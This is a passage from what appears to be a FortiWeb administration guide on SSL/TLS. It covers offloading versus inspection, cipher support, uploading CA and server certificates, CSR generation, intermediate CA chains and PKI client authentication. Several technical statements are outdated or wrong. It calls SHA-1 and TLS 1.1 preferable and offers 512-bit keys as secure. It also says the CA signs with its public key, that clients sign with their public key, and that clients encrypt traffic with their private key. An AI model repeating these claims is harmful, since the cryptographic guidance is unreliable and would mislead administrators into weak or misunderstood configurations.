By their asynchronous nature, SSL termination cannot be supported in transparent inspection and offline protection modes. (To terminate, FortiWeb must process traffic synchronously with the connection state.) In those modes, **the web server uses its own certificate, and acts as its own SSL terminator.** The web server bears the load for SSL processing. FortiWeb only “listens in” and can interrupt the connection, but otherwise cannot change or reroute packets.

In those modes, FortiWeb only uses the web server's certificate to decrypt traffic in order to scan it for policy violations. If there are no violations, it allows the existing encrypted traffic to continue without interruption. FortiWeb does not expend CPU and resources to re-encrypt, because it is not a terminator.

In other words, FortiWeb performs **SSL inspection**, not SSL offloading.



See also

- [Supported cipher suites & protocol versions](#)
- [How to offload or inspect HTTPS](#)
- [How to offload or inspect HTTPS](#)

Supported cipher suites & protocol versions

How secure is an HTTPS connection?

This is partially physical considerations such as restricting access to private keys and decrypted traffic (see [“Offloading vs. inspection” on page 267](#)). Another part is the encryption.

A secure connection's protocol version and cipher suite, including encryption bit strength and encryption algorithms, is negotiated between the client and the SSL/TLS terminator during the handshake.

Which device is the SSL terminator varies by the FortiWeb operation mode. It is either:

- the FortiWeb (if doing SSL offloading)
- the web server (if FortiWeb is doing only SSL inspection)

Therefore supported cipher suites also vary by operation mode.

For example, inline protection mode, FortiWeb is the SSL terminator, and supports:

- SSL 2.0 (disabled by default for security reasons)
 - DES-EDE3-CBC-MD5 — 192-bit
 - DES-CBC-MD5 — 64-bit
- SSL 3.0
 - AES-SHA — 256-bit & 128-bit
 - DES-CBC3-SHA — 168-bit
- TLS 1.0
 - AES-SHA — 256-bit & 128-bit
 - DES-CBC3-SHA — 168-bit

FortiWebFortiWeb



Ephemeral Diffie-Hellman key exchanges, which may be accepted by clients such as Google Chrome, are **not** currently supported in all modes of operation. See [“Supported features in each operation mode” on page 61](#).

If required by compatibility reasons, you can enable less secure cipher suites. See the settings `weak_enc` and `ssl-md5` in the `config system global` command in the [FortiWeb CLI Reference](#).

If you are not sure which cipher suites are supported by your web server, you can use a client-side tool to test. See [“Checking the SSL/TLS handshake & encryption” on page 638](#).

Generally speaking, for security reasons, TLS 1.1, AES-256 or ECC, and SHA-1 are preferable., although you may not be able to use them for client compatibility reasons. Avoid using:

- SSL 2.0
- TLS 1.0
- Older hash algorithms, such as MD5. (On modern computers, these can be cracked quickly.)
- Ciphers with known vulnerabilities, such as some implementations of RC4, AES and DES (e.g. To protect clients with incorrect CBC implementations for AES and DES, configure [Prioritize RC4 Cipher Suite](#).)
- Encryption bit strengths less than 128
- Older styles of renegotiation (These are vulnerable to man-in-the-middle (MITM) attacks.)
- Client-initiated renegotiation (Configure [Disable Client-Initiated SSL Renegotiation](#).)

See also

- [Offloading vs. inspection](#)
- [How to offload or inspect HTTPS](#)

Uploading trusted CAs' certificates

In order to authenticate other devices' certificates, FortiWeb has a store of trusted CAs' certificates. ***Until you upload at least one CA certificate, FortiWeb does not know and trust any CAs, it cannot validate any other client or device's certificate, and all of those secure connections will fail.***



FortiWeb may require you to provide certificates and CRLs even if your web sites' clients do not use HTTPS to connect to the web sites.

For example, when sending alert email via SMTPS or querying an authentication server via LDAPS, FortiWeb will validate the server's certificate by comparing the server certificate's CA signature with the certificates of CAs that are known and trusted by the FortiWeb appliance.

Certificate authorities (CAs) validate and sign others' certificates. When FortiWeb needs to know whether a client or device's certificate is genuine, it will examine the CA's signature, comparing it with the copy of the CA's certificate that you have uploaded in order to determine if they were both made using the same private key. If they were, the CA's signature is genuine, and therefore the client or device's certificate is legitimate.

If the signing CA is not known, that CA's own certificate must likewise be signed by one or more other intermediary CAs, until both the FortiWeb appliance and the client or device can demonstrate a signing chain that ultimately leads to a mutually trusted (shared "root") CA that they have in common. Like a direct signature by a known CA, this proves that the certificate can be trusted. For information on how to include a signing chain, see ["How to offload or inspect HTTPS" on page 273](#) ["Uploading a server certificate" on page 279](#).

To upload a CA's certificate


1. Obtain a copy of your CA's certificate file.

If you are using a commercial CA, your web browser should already contain a copy in its CA trust store. Export a copy of the file to your desktop or other folder.

If you are using your own private CA, download a copy from your CA's server. For example, on Windows Server 2003, you would go to:

`https://<ca-server_ipv4>/certsrv/`

where `<ca-server_ipv4>` is the IP address of your CA server. Log in as Administrator. (Other accounts may not have sufficient privileges.) The *Microsoft Certificate Services* home page for your server's CA should appear.



Verify that your private CA's certificate does not contain its private keys. Disclosure of private keys compromises the security of your network, and will require you to revoke and regenerate all certificates signed by that CA.


2. Go to *System > Certificates > CA*.

You can click *View Certificate Detail* to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see "[Permissions](#)" on page 46.

3. To upload a certificate, click *Import*.

A dialog appears.



4. To select a certificate, either:
 - Enable *SCEP* and in the field to the right of it, type the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediary network devices to obtain certificates.)
To specify a specific CA, type an identifier in the field below the URL.
 - Enable *Local PC* and browse to find a certificate file.
5. Click **OK**.
6. To use the CA certificate when validating clients' personal certificates, select it in a CA certificate group, which is then selected in a certificate verification rule (see [“Grouping trusted CAs' certificates” on page 272](#)).
7. To test your configuration, cause your appliance to initiate a secure connection to an LDAPS server (see [“To configure an administrator remote authentication query group” on page 214](#)).
If the query fails, verify that your CA is the same one that signed the LDAP server's certificate, and that its certificate's extensions indicate that the certificate can be used to sign other certificates. Verify that both the appliance and LDAP server support the same cipher suites and SSL/TLS protocols. Also verify that your routers and firewalls are configured to allow the connection.

See also

- [Configuring FortiWeb to validate client certificates](#)

Grouping trusted CAs' certificates

CAs must belong to a group in order to be selected in a certificate verification rule for PKI authentication (see [“Configuring FortiWeb to validate client certificates” on page 306](#)).

To configure a CA certificate group

1. Before you can create a CA group, you must upload at least one of the certificate authority (CA) certificates that you want to add to the group. For details, see [“Uploading trusted CAs' certificates” on page 270](#).
2. Go to *System > Certificates > CA Group*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.


A dialog appears.

ID	CA		
1	CA_Cert_1		
2	CA_Cert_2		

4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click **OK**.

6. Click *Create New*.

A dialog appears.



The dialog box is titled "Edit CA Group Member". It contains two input fields: "ID" with the value "auto" and "CA" with a dropdown menu showing "[Please Select]". At the bottom are "OK" and "Cancel" buttons.

7. In *ID*, enter the index number of the host entry within the group, or keep the field's default value of *auto* to let the FortiWeb appliance automatically assign the next available index number.
8. In *CA*, select the name of a certificate authority's certificate that you previously uploaded and want to add to the group.
9. Click *OK*.
10. Repeat the previous steps for each CA that you want to add to the group.
11. To apply a CA group, select it in a certificate verification rule (see [“Configuring FortiWeb to validate client certificates” on page 306](#)).

See also

- [Configuring FortiWeb to validate client certificates](#)

How to offload or inspect HTTPS

Whether offloading or merely inspecting for HTTPS, FortiWeb **must** have a copy of your protected web servers' X.509 server certificates. FortiWeb also has its own server certificate, which it uses to prove its own identity.

Which certificate will be used, and how, depends on the purpose.

- **For connections to the web UI** — The FortiWeb appliance presents its own (“default” or “Fortinet_Factory”) certificate.



The FortiWeb appliance's default certificate does not appear in the list of locally stored certificates. It is used only for connections to the web UI and cannot be removed.

- **For SSL offloading or SSL inspection** — Server certificates do **not** belong to the FortiWeb appliance itself, but instead belong to the protected web servers. FortiWeb uses the web server's certificate because it either acts as an SSL agent for the web server, or is privy to its secure connections for the purpose of scanning. You must select which one the FortiWeb appliance will use when configuring [Certificate](#) in a policy (see [“Configuring a server policy” on page 470](#)) or [Certificate File](#) in a server farm (see [“Uploading a server certificate” on page 279](#)).

System > Certificates > Local displays all X.509 server certificates that are stored locally, on the FortiWeb appliance, for the purpose of offloading or scanning HTTPS.

Table 34: *System > Certificates > Local*

Delete Generate Import View Certificate Detail Download Edit Comments				
☐	Name	Subject	Comments	Status
☐	Fortinet_Factory	C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiWeb, CN = FV-1KB3R09600026, emailAddress = support@fortinet.com	This certificate is embedded in the hardware at the factory and is unique to this unit. It has been signed by a proper CA.	OK
☒	FortiWeb_csr			PENDING

Button/field	Description
Generate	Click to generate a certificate signing request. For details, see “Generating a certificate signing request” on page 275 .
Import	Click to upload a certificate. For details, see “Uploading a server certificate” on page 279 .
View Certificate Detail	Click to view the selected certificate’s subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
Download	Click to download the selected CSR’s entry in certificate signing request (.csr) file format. This button is disabled unless the currently selected file is a CSR.
Edit Comments	Click to add or modify the comment associated with the selected certificate.
(No label. Check box in column heading.)	Click to mark all check boxes in the column, selecting all entries. To select an individual entry, instead, mark the check box in the entry’s row.
Name	Displays the name of the certificate.
Subject	Displays the distinguished name (DN) located in the <code>Subject :</code> field of the certificate. If the row contains a certificate request which has not yet been signed, this field is empty.
Comments	Displays the description of the certificate, if any. Click the <i>Edit Comments</i> icon to add or modify the comment associated with the certificate or certificate signing request.
Status	Displays the status of the certificate. • OK — Indicates that the certificate was successfully imported. To use the certificate, select it in a server policy or server farm. • PENDING — Indicates that the certificate request has been generated, but must be downloaded, signed, and imported before it can be used as a server certificate.

FortiWeb presents a server certificate when any client requests a secure connection, including when:

- Administrators connect to the web UI (HTTPS connections only)
- Clients use SSL or TLS to connect to a virtual server, if you enabled SSL offloading in the policy (HTTPS connections and reverse proxy mode only)

Although they do not **present** a certificate during SSL/TLS inspection, FortiWeb still requires server certificates in order to **decrypt** and scan HTTPS connections travelling through it (SSL inspection) if operating in any mode except reverse proxy. Otherwise, FortiWeb will not be able to scan the traffic, and will not be able to protect that web server.

If you want clients to be able to use HTTPS with your web site, but your web site does **not** already have a server certificate to represent its authenticity, you must first generate a certificate signing request (see [“Generating a certificate signing request” on page 275](#)). Otherwise, start with [“Uploading a server certificate” on page 279](#).

See also

- [Global web UI & CLI settings](#)
- [How operation mode affects server policy behavior](#)
- [Grouping your web servers into server farms](#)
- [Generating a certificate signing request](#)
- [Uploading a server certificate](#)
- [Revoking certificates by OCSP query](#)
- [Offloading vs. inspection](#)
- [Supported cipher suites & protocol versions](#)
- [Uploading trusted CAs' certificates](#)

Generating a certificate signing request

Many commercial certificate authorities (CAs) will provide a web site where you can generate your own certificate signing request (CSR). A CSR is an unsigned certificate file that the CA will sign. When the CSR is generated, the associated private key that the appliance will use to sign and/or encrypt connections with clients is also generated.

If your CA does **not** provide this, or if you have your own private CA such as a Linux server with OpenSSL, you can use the appliance generate a CSR and private key. This CSR can then be submitted for verification and signing by the CA.

To generate a certificate request

1. Go to *System > Certificates > Local*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).

2. Click *Generate*.

A dialog appears.

3. Configure the certificate signing request:

Generate Certificate Signing Request

Certification Name

Subject Information

ID Type Domain Name ▾

Domain Name

Optional Information

Organization Unit ⊕

Organization

Locality(City)

State/Province

Country/Region ▾

e-mail

Key Type RSA ▾

Key Size 1024 Bit ▾

Enrollment Method ☒ File Based ☐ Online SCEP

OK **Cancel**

Setting name	Description
Certification Name	Enter a unique name for the certificate request, such as <code>www.example.com</code> . This can be the name of your web site.
Key Type	Displays the type of algorithm used to generate the key. This option cannot be changed, but appears in order to indicate that only RSA is currently supported.
Key Size	Select a secure key size of <i>512 Bit</i> , <i>1024 Bit</i> , <i>1536 Bit</i> or <i>2048 Bit</i> . Larger keys are slower to generate, but provide better security.
Enrollment Method	Select either: • File Based — You must manually download and submit the resulting certificate request file to a certificate authority (CA) for signing. Once signed, upload the local certificate. • Online SCEP — The FortiWeb appliance will automatically use HTTP to submit the request to the simple certificate enrollment protocol (SCEP) server of a CA, which will validate and sign the certificate. For this selection, two options appear. Enter the <i>CA Server URL</i> and the <i>Challenge Password</i>.

Setting name	Description
Subject Information	Includes information that the certificate is required to contain in order to uniquely identify the FortiWeb appliance. This area varies depending on the <i>ID Type</i> selection.
ID Type	Select the type of identifier to use in the certificate to identify the FortiWeb appliance: • Host IP — Select if the FortiWeb appliance has a static IP address and enter the public IP address of the FortiWeb appliance in the <i>IP</i> field. If the FortiWeb appliance does not have a public IP address, use <i>E-Mail</i> or <i>Domain Name</i> instead. • Domain Name — Select if the FortiWeb appliance has a static IP address and subscribes to a dynamic DNS service. Enter the FQDN of the FortiWeb appliance, such as <code>www.example.com</code>, in the <i>Domain Name</i> field. Do not include the protocol specification (<code>http://</code>) or any port number or path names. • E-Mail — Select and enter the email address of the owner of the FortiWeb appliance in the <i>e-mail</i> field. Use this if the appliance does not require either a static IP address or a domain name. The type you should select varies by whether or not your FortiWeb appliance has a static IP address, a fully-qualified domain name (FQDN), and by the primary intended use of the certificate. For example, if your FortiWeb appliance has both a static IP address and a domain name, but you will primarily use the local certificate for HTTPS connections to the web UI by the domain name of the FortiWeb appliance, you might prefer to generate a certificate based upon the domain name of the FortiWeb appliance, rather than its IP address. Depending on your choice for <i>ID Type</i>, related options appear.
IP	Type the static IP address of the FortiWeb appliance, such as <code>10.0.0.1</code>. The IP address should be the one that is visible to clients. Usually, this should be its public IP address on the Internet, or a virtual IP that you use NAT to map to the appliance's IP address on your private network. This option appears only if <i>ID Type</i> is <i>Host IP</i>.
Domain Name	Type the fully qualified domain name (FQDN) of the FortiWeb appliance, such as <code>www.example.com</code>. The domain name must resolve to the static IP address of the FortiWeb appliance or protected server. For more information, see “Configuring the network interfaces” on page 111. This option appears only if <i>ID Type</i> is <i>Domain Name</i>.

Setting name	Description
E-mail	Type the email address of the owner of the FortiWeb appliance, such as <code>admin@example.com</code> . This option appears only if <i>ID Type</i> is <i>E-Mail</i> .
Optional Information	Includes information that you may include in the certificate, but which is not required.
Organization unit	Type the name of your organizational unit (OU), such as the name of your department. This is optional. To enter more than one OU name, click the + icon, and enter each OU separately in each field.
Organization	Type the legal name of your organization. This is optional.
Locality(City)	Type the name of the city or town where the FortiWeb appliance is located. This is optional.
State/Province	Type the name of the state or province where the FortiWeb appliance is located. This is optional.
Country/Region	Select the name of the country where the FortiWeb appliance is located. This is optional.
e-mail	Type an email address that may be used for contact purposes, such as <code>admin@example.com</code> . This is optional.

4. Click **OK**.

The FortiWeb appliance creates a private and public key pair. The generated request includes the public key of the FortiWeb appliance and information such as the FortiWeb appliance's IP address, domain name, or email address. The FortiWeb appliance's private key remains confidential on the FortiWeb appliance. The *Status* column of the entry is *PENDING*.

5. Select the row that corresponds to the certificate request.

6. Click **Download**.

Standard dialogs appear with buttons to save the file at a location you select. Your web browser downloads the certificate request (.csr) file. Time required varies by the size of the file and the speed of your network connection.

7. Upload the certificate request to your CA.

After you submit the request to a CA, the CA will verify the information in the certificate, give it a serial number, an expiration date, and sign it with the public key of the CA.

8. If you are not using a commercial CA whose root certificate is already installed by default on web browsers, download your CA's root certificate, then install it on all computers that will be connecting to your appliance. (If you do not install these, those computers may not trust your new certificate.)

9. When you receive the signed certificate from the CA, upload the certificate to the FortiWeb appliance (see ["Uploading a server certificate" on page 279](#)).

See also

- [Uploading a server certificate](#)

Uploading a server certificate

You can import (upload) either:

- Base64-encoded
- PKCS #12 RSA-encrypted

X.509 server certificates and private keys to the FortiWeb appliance.



DSA-encrypted certificates are not supported if the FortiWeb appliance is operating in a mode other than reverse proxy. See [“Supported features in each operation mode” on page 61](#).

If a server certificate is signed by an intermediate certificate authority (CA) rather than a root CA, before clients will trust the server certificate, you must demonstrate a link with root CAs that the clients trust, thereby proving that the server certificate is genuine. You can demonstrate this chain of trust either by:

- Appending a signing chain in the server certificate.
- Uploading and configuring a signing chain separately (see [“Supplementing a server certificate with its signing chain” on page 281](#)).
- Installing each intermediary CA's certificate in clients' trust store (list of trusted CAs).

Which method is best for you often depends on whether you have a convenient method for deploying CA certificates to clients, such as you may be able to for clients in an internal Microsoft Active Directory domain, and whether you often refresh the server certificate.

To append a signing chain in the certificate itself, before uploading the server certificate to the FortiWeb appliance

1. Open the certificate file in a plain text editor.
2. Append the certificate of each intermediary CA in order from the intermediary CA who signed the local certificate to the intermediary CA whose certificate was signed directly by a trusted root CA.

For example, a server's certificate that includes a signing chain might use the following structure:

```
-----BEGIN CERTIFICATE-----
<server certificate>
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
<certificate of intermediate CA 1, who signed the server certificate>
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
<certificate of intermediate CA 2, who signed the certificate of
intermediate CA 1 and whose certificate was signed by a trusted root
CA>
-----END CERTIFICATE-----
```

3. Save the certificate.

To upload a certificate



The total file size of all certificates, private keys, and any other uploaded files may not exceed 12 MB.

1. Go to *System > Certificates > Local*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).

2. Click *Import*.

A dialog appears.

3. Configure these settings:

Setting name	Description
Type	Select the type of certificate file to upload, either: • Local Certificate — An unencrypted certificate in PEM format. • Certificate — An unencrypted certificate in PEM format. The key is in a separate file. • PKCS12 Certificate — A PKCS #12 encrypted certificate with key.
Certificate file	Other fields may appear depending on your selection. Click <i>Browse</i> to locate the certificate file that you want to upload. This option is available only if <i>Type</i> is <i>Certificate</i> or <i>Local Certificate</i> .
Key file	Click <i>Browse</i> to locate the key file that you want to upload with the certificate. This option is available only if <i>Type</i> is <i>Certificate</i> .
Certificate with key file	Click <i>Browse</i> to locate the PKCS #12 certificate-with-key file that you want to upload. This option is available only if <i>Type</i> is <i>PKCS12 Certificate</i> .
Password	Type the password that was used to encrypt the file, enabling the FortiWeb appliance to decrypt and install the certificate. This option is available only if <i>Type</i> is <i>Certificate</i> or <i>PKCS12 Certificate</i> .

4. Click *OK*.

5. To use a certificate, you must select it in a policy or server farm (see [“Configuring a server policy” on page 470](#) or [“Grouping your web servers into server farms” on page 246](#)).

See also

- [Supplementing a server certificate with its signing chain](#)
- [Revoking certificates by OCSP query](#)
- [Configuring a server policy](#)
- [Grouping your web servers into server farms](#)
- [How to offload or inspect HTTPS](#)

Supplementing a server certificate with its signing chain

If a server certificate is signed by an intermediate (non-root) certificate authority rather than a root CA, before the client will trust the server's certificate, you must demonstrate a link with trusted root CAs, thereby proving that the server's certificate is genuine. Otherwise, the server certificate may cause the end-user's web browser to display certificate warnings.

If you did not append the signing chain inside the server certificate itself, you must configure the FortiWeb appliance to provide the certificates of intermediate CAs when it presents the server certificate.

To upload an intermediate CA's certificate



The total file size of all certificates, private keys, and any other uploaded files may not exceed 12 MB.

1. Go to *System > Certificates > Intermediate CA*.

Delete Import View Certificate Detail		
	Name	Subject
☒	Inter_Cert_1	C = CA, ST = ON, L = Ottawa, O = "Example, Inc.", OU = IT, CN = ssl.example.com, emailAddress = ssl@example.com

You can click *View Certificate Detail* to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions (purposes).

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).

2. To upload a certificate, click *Import*.

A dialog appears.

Import CA Certificate

☐ SCEP

(URL of the SCEP server)

☐ Local PC

(Optional CA Identifier)

☐ Local PC

Browse...

OK

Cancel

3. Do one of the following to locate a certificate:
 - Select *SCEP* and enter the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediate network devices to obtain certificates.)
To specify a specific certificate authority, enter an identifier in the field below the URL.
 - Select *Local PC*, then browse to locate a certificate file.
4. Click *OK*.
5. Continue with [“Grouping certificates for intermediate CAs” on page 282](#).

See also

- [Grouping certificates for intermediate CAs](#)

Grouping certificates for intermediate CAs

If a server certificate does not include a signing chain that leads to a root CA that the client has in common, you must group certificates of intermediary (non-root) certificate authorities (CA) to provide the signing chain.

To configure an intermediate CA group

1. Before you can create an intermediary CA certificate group, you must upload at least one of the intermediary certificate authority certificates that you want to add to the group. For details, see [“Supplementing a server certificate with its signing chain” on page 281](#).
2. Go to *System > Certificates > Intermediate CA Group*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.

ID	CA
1	Inter_Cert_1

4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.
6. Click *Create New*.
A dialog appears.

7. In *ID*, type the index number of the host entry within the group, or keep the field's default value of *auto* to let the FortiWeb appliance automatically assign the next available index number.
8. In *CA*, select the name of an intermediary CA's certificate that you previously uploaded and want to add to the group.
9. Click *OK*.
10. Repeat the previous steps for each intermediary CA certificate that you want to add to the group.
11. To apply an intermediary CA certificate group, select it in *Certificate Intermediate Group* in a policy that uses HTTPS, with the server certificate that was signed by those CAs (see [“Configuring a server policy” on page 470](#)).

The FortiWeb appliance will present both the server's certificate and those of the intermediate CAs when establishing a secure connection with the client.

See also

- [Supplementing a server certificate with its signing chain](#)
- [How operation mode affects server policy behavior](#)

How to apply PKI client authentication (personal certificates)

If your clients will connect to your web sites using HTTPS, you can configure FortiWeb to require clients to present a personal certificate during the handshake in order to confirm their identities. This is sometimes called public key infrastructure (PKI) authentication ([RFC 5280](#)).

Because FortiWeb presents its own server certificate to the client before requesting one from the client, all PKI authentication with FortiWeb is actually mutual (2-way) authentication.



In addition to FortiWeb verifying client certificates, you can configure FortiWeb to forward client certificates to the back-end server, whether for additional verification or identity-based functionality. See [Client Certificate Forwarding](#) in [“Configuring a server policy” on page 470](#).

PKI authentication is an alternative to traditional password-based authentication. The traditional method is based on “what you know” — a password used for authentication. PKI authentication is based on “what you have” — a private key related to the certificate bound to only one person. PKI authentication may be preferable for devices where it is onerous for the person to type a password, such as an Android or iPhone smart phone.


A known weakness of traditional password based authentication is the vulnerability to password guessing or brute force attack. Despite your admonitions, many users will still choose weak passwords either because they do not understand what makes a password “strong,” because they do not understand the risks that it poses to the organization, or because they cannot remember a randomized password.

PKI authentication is far more resilient to brute force attacks, and does not require end-users to remember anything, so it is stronger than a password.




For even stronger authentication, you can combine PKI authentication with HTTP or form-based authentication. For more information, see [“Authentication styles” on page 217](#).

Figure 39: Bilateral authentication




PKI authentication relies on these factors to strongly confirm identity:

- **Sole private key possession** — Like with all X.509 certificates, a client's identity can **only** be irrefutably confirmed if no one else except that person has that certificate's private key. The private key is a randomized string of text that has a hard-to-guess relationship with its corresponding public key. As such, it features cryptographic protection that passwords lack: passwords do not necessarily have a verifiable, computable relationship with anything. However, like a password, a private key's strength depends on it remaining a secret.



Provide the client's private keys **only** to that specific client, and transmit and store any backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. (i.e., It damages the property of non-repudiation.) In the event of potential private key compromise, **immediately** revoke the corresponding personal certificate. See [“Revoking certificates” on page 308](#).

- **Asymmetric encryption** — Public key encryption is a type of asymmetric encryption: it is based upon two keys that are different — but exactly paired — mathematical complements.



Only the **private** key can decrypt data that was encrypted by its public key. The inverse is also true: only the **public** key can decrypt data that was encrypted by its private key. This is true, for example, in the RSA cryptographic algorithm.

Figure 40: RSA algorithm

$n = pq$ where p and q are different prime numbers

$\phi = (p - 1)(q - 1)$

$e < n$ where $\gcd(e, \phi) = 1$

$d = e^{-1} \bmod \phi$

(n, d) is the private key

(n, e) is the public key

$c = m^e \bmod n$, $1 < m < n$ where c is the encrypted message

$m = c^d \bmod n$ where m is the decrypted message

SSL 3.0 or TLS 1.0 is required. During an SSL or TLS handshake, the client and server (in this case, FortiWeb) negotiate which of their supported cryptographic algorithms to use, and exchange certificate(s). After the server receives the client's certificate with its public key, the client will encrypt subsequent communications using its private key. As a result, if the server can decrypt messages using the **public** key, it knows that they originate from the originally connecting client who has the related **private** key, **not** an intercepting host (i.e. a man-in-the-middle attack).



Depending on factors such as a misconfigured client, an SSL/TLS connection may in some cases **still** be vulnerable to man-in-the-middle attacks. There are several steps that you can take to harden security, including using greater bit strengths, updating and properly configuring clients, revoking compromised certificates, and installing only trusted certificates. See also [“Hardening security” on page 593](#) and [“Configuring FortiWeb to validate client certificates” on page 306](#).

Encrypted transmissions can contain a message authentication checksum (MAC) to verify that the message was not altered during transmission by an interceptor.

- **Digital signatures** — Public keys are also used as signatures. Similar to an encrypted message, as long as the private key is possessed by only one individual, any signature

generated from it is also guaranteed to come only from that client. The client will sign a certificate with its matching public key.

Because certificate authorities (CA) sign applicants' certificates, third parties who have that CA's certificate can also confirm that that CA certified the applicant's identity, and the certificate was not forged.

- **Chain of trust** — What if a device does not know the CA that signed the connecting party's certificate? Since there are many CAs, this is a common scenario.

The solution is to have a root CA in common between the two connecting parties, a "friend of a friend."

If a root CA is trusted to be genuine and to sign only certificates where it has verified the applicant's identity, then by induction, all sub-CA's certificates that the root CA has verifiably signed will also be trusted as genuine. Hence, if a client or server's certificate can prove that it is either indirectly (through an intermediary CA signed by the root CA) or directly signed by the trusted root CA, that client/server's certificate will be trusted as genuine.

To configure client PKI authentication

1. Obtain a personal certificate for the client, and its private key, from a CA.

Steps vary by the CA. Personal certificates can be purchased or downloaded from either commercial CAs such as VeriSign, Thawte, or Comodo, or your organization's own private CA, such as a Linux server where you use OpenSSL or a Mac OS X server where you have set up a CA in Keychain Access. For information on certificate requirements such as extended attributes, see ["Configuring FortiWeb to validate client certificates" on page 306](#).

For a private CA example, see ["Example: Generating & downloading a personal certificate from Microsoft Windows 2003 Server" on page 287](#).

2. Download the CA's certificate, which contains its public key and therefore can verify any personal certificate that the CA has signed.

Steps vary by the CA.

For a private CA example, see ["Example: Downloading the CA's certificate from Microsoft Windows 2003 Server" on page 296](#).

If you purchased personal certificates from CAs such as VeriSign, Thawte, or Comodo, you should not need to download the certificate: simply export those CAs' certificates from your browser's own trust store, similar to ["To export and transmit a personal certificate from the trust store on Microsoft Windows 7" on page 289](#), then upload them to the FortiWeb (see ["Uploading trusted CAs' certificates" on page 270](#)).

3. Install the personal certificate with its private key on the client.

Steps vary by the client's operating system and web browser. If the client uses Microsoft Windows 7, see ["Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7" on page 297](#).

4. Upload the CA's certificate to the FortiWeb's trust store (see ["Uploading the CA's certificate to FortiWeb's trusted CA store" on page 305](#)).
5. If you have a certificate revocation list or OCSP server, configure FortiWeb with it (see ["Revoking certificates" on page 308](#)).
6. Depending on the FortiWeb's current operation mode, configure either a server policy or server farm to consider CA certificates and CRLs when verifying client certificates (see ["Configuring FortiWeb to validate client certificates" on page 306](#)).
7. Configure the server policy to accept HTTPS (see [HTTPS Service](#)).

Example: Generating & downloading a personal certificate from Microsoft Windows 2003 Server

If you are running Microsoft Certificate Services on Microsoft Windows 2003 Server, you can use your server as a CA, to generate and sign personal certificates on behalf of your clients.

As part of signing the certificate, the CA will send the finished personal certificate to your web browser. As a result, when you are finished generating, you must export the certificates from your computer's trust store in order to deploy the certificates to clients.

To generate a personal certificate in Microsoft Windows 2003 Server

1. On your management computer, start your web browser.


2. Go to:

`https://<ca-server_ipv4>/certsrv/`

where <ca-server_ipv4> is the IP address of your CA server.

3. Log in as Administrator.

Other accounts may not have sufficient privileges. The *Microsoft Certificate Services* home page for your server's CA should appear.



Microsoft Certificate Services -- myca [Home](#)

Welcome

Use this Web site to request a certificate for your Web browser, e-mail client, or other program. By using a certificate, you can verify your identity to people you communicate with over the Web, sign and encrypt messages, and, depending upon the type of certificate you request, perform other security tasks.

You can also use this Web site to download a certificate authority (CA) certificate, certificate chain, or certificate revocation list (CRL), or to view the status of a pending request.


For more information about Certificate Services, see [Certificate Services Documentation](#).

Select a task:

- [Request a certificate](#)
- [View the status of a pending certificate request](#)
- [Download a CA certificate, certificate chain, or CRL](#)

4. Click the *Request a certificate* link.

The *Request a Certificate* page appears.



Microsoft Certificate Services -- myca

Request a Certificate

Select the certificate type:

- [User Certificate](#)

Or, submit an [advanced certificate request](#).

5. Click the *advanced certificate request* link.

The *Advanced Certificate Request* page appears.

6. Click the *Create and submit a request to this CA* link.

The *Certificate Request Template* appears.


7. In the *Certificate Template* drop-down list, select the Client Authentication template (or a template that you have created for the purpose using Microsoft Management Console (MMC)).

8. In the *Name* field, type the name the end-user on behalf of which the client certificate request is being made. This will be the `Subject :` field in the certificate. Other fields are optional.
9. Click *Submit*.

The certificate signing request (CSR) is submitted to the CA.

10. If a message appears, warning you that the web site is requesting a new certificate on your behalf, click *Yes* to proceed.

Once the CA server generates the requested certificate, the *Certificate Issued* window appears.



11. Click the *Install this certificate* link.


Your browser downloads the certificate, **including its private key**, and installs it in its trust store. The certificate's name is the one you specified in step 8.



Transmit and store any private key backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See [“Revoking certificates” on page 308](#).

12. If a message appears, warning you that the web site is adding one or more certificates to your computer, click *Yes* to proceed.

The *Certificate Installed* window appears.




13. Return to the *Microsoft Certificate Services* (MSCS) home page for your local CA and repeat steps 4 through 12 for each end-user that will use PKI authentication.

To export and transmit a personal certificate from the trust store on Microsoft Windows 7

1. Start Microsoft Internet Explorer 9.


2. Go to *Tools* [gear icon] > *Internet options*.
The *Internet Options* dialog window appears.



3. Click the *Content* tab.

4. Click the *Certificates* button.

The *Certificates* dialog window appears. By default, the *Personal* tab is front most.




5. Click to select a personal certificate in the list.
6. Click *Export*.

The *Certificate Export Wizard* dialog appears.

7. Click *Next*.

The *Export Private Key* step appears.



8. Select *Yes, export the private key*.


The end-user will require his or her private key in order to authenticate. Without that token (or if many people possess that token), identity cannot be confirmed.



